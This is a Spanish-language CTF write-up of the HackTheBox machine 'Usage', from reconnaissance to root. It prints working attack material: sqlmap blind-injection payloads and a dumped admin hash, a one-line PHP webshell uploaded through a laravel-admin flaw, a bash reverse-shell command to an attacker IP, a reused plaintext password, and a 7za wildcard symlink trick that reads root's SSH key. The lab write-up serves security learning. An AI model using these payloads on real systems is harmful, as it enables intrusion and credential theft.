HackTheBox - Usage

HackTheBox - Usage

·

9 min read

Usage es una máquina Linux con un blog vulnerable a inyecciones SQL, lo que permite extraer la contraseña hasheada del administrador. Esto da acceso al panel de administración, donde un módulo desactualizado de Laravel-Admin es explotado para cargar una webshell en PHP y lograr ejecución remota de comandos. Dentro de la máquina, unas credenciales en texto plano almacenadas en un archivo permiten escalar privilegios a otro usuario que tiene permiso para ejecutar un binario personalizado como root. Este binario utiliza de forma insegura 7zip, lo que se aprovecha para leer la clave privada SSH del usuario root.

Reconocimiento

┌──(root㉿kali)-[/home/noc/htb/usage/nmap]
└─# nmap -p- --open -sSCV --min-rate 5000 -n -Pn -v 10.10.11.18 -oN scan

Con el escaneo de nmap se ven dos puertos abiertos: 22 (SSH) y 80 (HTTP)

Hay un redirect a http://usage.htb/ (que hay que añadir a /etc/hosts).

Puerto 80

usage.htb

┌──(root㉿kali)-[/home/noc/htb/usage/nmap]
└─# whatweb http://usage.htb    
http://usage.htb [200 OK] Bootstrap[4.1.3], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session], IP[10.10.11.18], Laravel, PasswordField[password], Title[Daily Blogs], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]

Login redirige a /login y Register a /registration

Reset Password redirige a /forget-password

Admin redirige a http://admin.usage.htb/. Se añade admin.usage.htb a /etc/hosts para investigarlo más tarde.

Se puede registrar un usuario:

Tras iniciar sesión, en /dashboard hay unas entradas de unos blogs sin mucho interés más allá de la mención a Laravel PHP.

admin.usage.htb

Tras añadir admin.usage.htb a /etc/hosts:

┌──(root㉿kali)-[/home/noc/htb/usage/nmap]
└─# whatweb http://admin.usage.htb/
http://admin.usage.htb/ [200 OK] Bootstrap, Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session], IP[10.10.11.18], Laravel, PasswordField[password], Script, Title[Admin | Login], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block], nginx[1.18.0]

Por las cookies de sesión que también hay en usage.htb, se confirma que el CMS utilizado es Laravel.

Shell como dash

Inyección SQL

En /forget-password, al introducir una comilla ' devuelve un error:

Esto es un indicativo de que puede haber inyecciones SQL que pueden ser aprovechadas. La aplicación genera un error interno (HTTP 500) al ingresar ' en el campo del email, lo que sugiere que el input no está siendo correctamente validado o sanitizado, y que está siendo utilizado directamente en una consulta SQL que podría ser algo como:

SELECT * FROM users WHERE email = '{input_del_usuario}';

Interceptando con burpsuite la petición en /forget-password:

Se copia la request y con sqlmap se buscan inyecciones:

┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# cat req.txt  
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://usage.htb
Connection: keep-alive
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IkdRUG9Ec3pUZ2tsVVVCcndsUGl1bVE9PSIsInZhbHVlIjoiZUZObytKSkltWWsyalBVMHNsMFdRdHdkTnVYMy8xZDdGTEEwWHBhNUpzeDdBdGpFQ2UrSVp2L00yUVdjTVNjSk1YcTUzQ1p0Mmo2dmFYVHpOekRMMGpRN1d6N3ZVVnJOSExPelkxcFA5K3Jvem9GaS9ndUlNYnpVWWZHaGY5ZHoiLCJtYWMiOiJjNmY2MDkyODY2YjdhOTQ1NWRkNWU4Y2VjMDA0MDJkYWU3MTU3MGVhMWM4M2MwOTNjMmUwODQ5Y2UzZGE1ZjRiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkZDK1Z1TTVmR3NIaWhSR05LamQwT0E9PSIsInZhbHVlIjoiblBnc1lGWWpkN0VIOGZSQ2JxMDZrVkh5S2REU090Z1dPSFdFQ2FBeHc0YVNKMHExb25kQkx5Y083c0hETkJmY0hXVXdPdmxYcFYvTjNhbkhqQXRCL2pQM3JncEVTb0hEUmFXMkhxWFNLOXZZNmdxOFVmbUVoMUdFRHJuWGhpWmMiLCJtYWMiOiI2YWMzYmFjZWNmNmRhNzJjYTA4ZmMwMzYxMjZiMTAxOWIyNzk4MTQ1MzZmNDQ3YTFlNDUwYjc0Mzk1YjJiZmE5IiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1

_token=lkfRwkTSyE6HtYZBHiegSXZtGMKx9m7XcVEShOyz&email=test%40usage.htb
┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# sqlmap -r req.txt -p email --batch   
(...)
[04:51:26] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
(...)

No encuentra nada de primeras, pero sí ajustando los parámetros --level, --risk, especificando que solo pruebe la inyección en el parámetro vulnerable (-p email), y optimizando la velocidad con --threads:

┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# sqlmap -r req.txt --level 5 --risk 3 --threads 10 -p email --batch 
(...)
sqlmap identified the following injection point(s) with a total of 739 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=lkfRwkTSyE6HtYZBHiegSXZtGMKx9m7XcVEShOyz&email=test@usage.htb' AND 3014=(SELECT (CASE WHEN (3014=3014) THEN 3014 ELSE (SELECT 5370 UNION SELECT 7152) END))-- XCDM

    Type: time-based blind
    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
    Payload: _token=lkfRwkTSyE6HtYZBHiegSXZtGMKx9m7XcVEShOyz&email=test@usage.htb' AND 2337=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- McgN
---
[05:02:56] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL > 5.0.12
[05:02:57] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 346 times
[05:02:57] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/usage.htb'

Una vez identificada como «boolean-based blind» sql injection, utilicé sqlmap para enumerar las bases de datos, extraer las tablas relevantes y, finalmente, obtener el hash del usuario admin de la tabla admin_users.

┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# sqlmap -r req.txt --level 5 --risk 3 --threads 10 -p email --batch --dbs
(...)
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# sqlmap -r req.txt --level 5 --risk 3 --threads 10 -p email --batch -D usage_blog --tables
(...)
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+
┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# sqlmap -r req.txt --level 5 --risk 3 --threads 10 -p email --batch -D usage_blog -T admin_users --dump
(...)
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name          | avatar  | password                                                     | username | created_at          | updated_at          | remember_token                                               |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1  | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin    | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+

Con la contraseña se puede iniciar sesión en admin.usage.htb

Buscando CVEs recientes, encontré esta CVE-2023-24249 que afecta a un paquete que se integra con Laravel para facilitar la creación de paneles administrativos: laravel-admin (1.8.18 es la versión de la máquina) en la versión 1.8.19. En este post, se puede ver el funcionamiento.

Creo una webshell en php:

┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# cat noc.php   
<?php system($_REQUEST['cmd']); ?>

Clickando en Administrator (arriba a la derecha), y luego en Browse, se pueden subir archivos para cambiar el avatar.

La extensión .php no es válida.

Cambiando la extensión a .php.jpg sí parece aceptarla:

Pero al abrirla no se ejecuta el código. Hay que cambiar la extensión interceptando con burpsuite:

Ahora accediendo a la foto:

Pudiendo ejecutar comandos, establezco una reverse shell con bash -c 'bash -i >%26 /dev/tcp/10.10.14.18/4444 0>%261' (urlencodeando los & para que no se interpreten como el inicio de un nuevo parámetro…):

http://admin.usage.htb/uploads/images/noc.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.18/4444 0>%261'

Tratamiento de la TTY:

script /dev/null -c bash 
^Z
stty raw -echo; fg
        reset xterm
export TERM=xterm
export SHELL=bash
stty rows <x> columns <y>

Hay dos usuarios: dash y xander.

dash@usage:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
dash:x:1000:1000:dash:/home/dash:/bin/bash
xander:x:1001:1001::/home/xander:/bin/bash

Escalada de Privilegios

dash -> xander

En el directorio de dash hay unos archivos ocultos:

dash@usage:~$ ls -la
total 52
drwxr-x--- 6 dash dash 4096 Jan  5 14:49 .
drwxr-xr-x 4 root root 4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root    9 Apr  2  2024 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan  6  2022 .bashrc
drwx------ 3 dash dash 4096 Aug  7  2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20  2023 .config
drwxrwxr-x 3 dash dash 4096 Aug  7  2023 .local
-rw-r--r-- 1 dash dash   32 Oct 26  2023 .monit.id
-rw-r--r-- 1 dash dash    6 Jan  5 14:49 .monit.pid
-rw------- 1 dash dash 1192 Jan  5 14:50 .monit.state
-rwx------ 1 dash dash  707 Oct 26  2023 .monitrc
-rw-r--r-- 1 dash dash  807 Jan  6  2022 .profile
drwx------ 2 dash dash 4096 Aug 24  2023 .ssh
-rw-r----- 1 root dash   33 Jan  4 21:23 user.txt

«Monit es una herramienta de software libre para monitorización de procesos en sistemas Unix y Linux.»

En .monitrc hay una contraseña (3nc0d3d_pa$$w0rd) que se reutiliza para xander.

dash@usage:~$ cat .monitrc 
#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert


#System Monitoring 
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert 
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert

check filesystem rootfs with path /
       if space usage > 80% then alert

xander -> root

Se puede ejecutar /usr/bin/usage_management como cualquier usuario. Parece ser un ejecutable personalizado para realizar varias tareas de administración de la web.

xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

Esto es lo que hace cada una de las opciones:

ander@usage:~$ usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor                 (A00F11),ASM,AES-NI)

Scanning the drive:
2984 folders, 17947 files, 113879074 bytes (109 MiB)                          

Creating archive: /var/backups/project.zip

Items to compress: 20931


Error:
cannot open file
/var/backups/project.zip
Permission denied


System ERROR:
Unknown error -2147024883

xander@usage:~$ usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 2
sh: 1: cannot create /var/backups/mysql_backup.sql: Permission denied

xander@usage:~$ usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 3
Password has been reset.

Con strings se puede ver un poco más en detalle lo que está haciendo:

xander@usage:~$ strings /usr/bin/usage_management
/lib64/ld-linux-x86-64.so.2
chdir
__cxa_finalize
__libc_start_main
puts
system
__isoc99_scanf
perror
printf
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 
(...)

Ejecuta 7za con comodines (*) para comprimir todos los archivos en el directorio:

/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *

El uso de comodines (*) en 7za permite aprovechar una característica específica:

  • Archivos que comienzan con @ son tratados como listas de archivos para incluir.

  • Si creamos un archivo @pwned y un enlace simbólico pwned que apunte a un archivo sensible como /root/.ssh/id_rsa, 7za intentará leer el contenido del archivo vinculado.

Primero se cambia al directorio donde usage_management opera (/var/www/html), después se crea un archivo vacío (@pwned) y el symlink:

xander@usage:~$ cd /var/www/html
xander@usage:/var/www/html$ touch @pwned; ln -fs /root/.ssh/id_rsa pwned

Se le dan los permisos correctos la id_rsa con chmod 600 y se inicia sesión por ssh como root.

┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# nano id_rsa_root

┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# chmod 600 id_rsa_root            

┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# ssh -i id_rsa_root root@usage.htb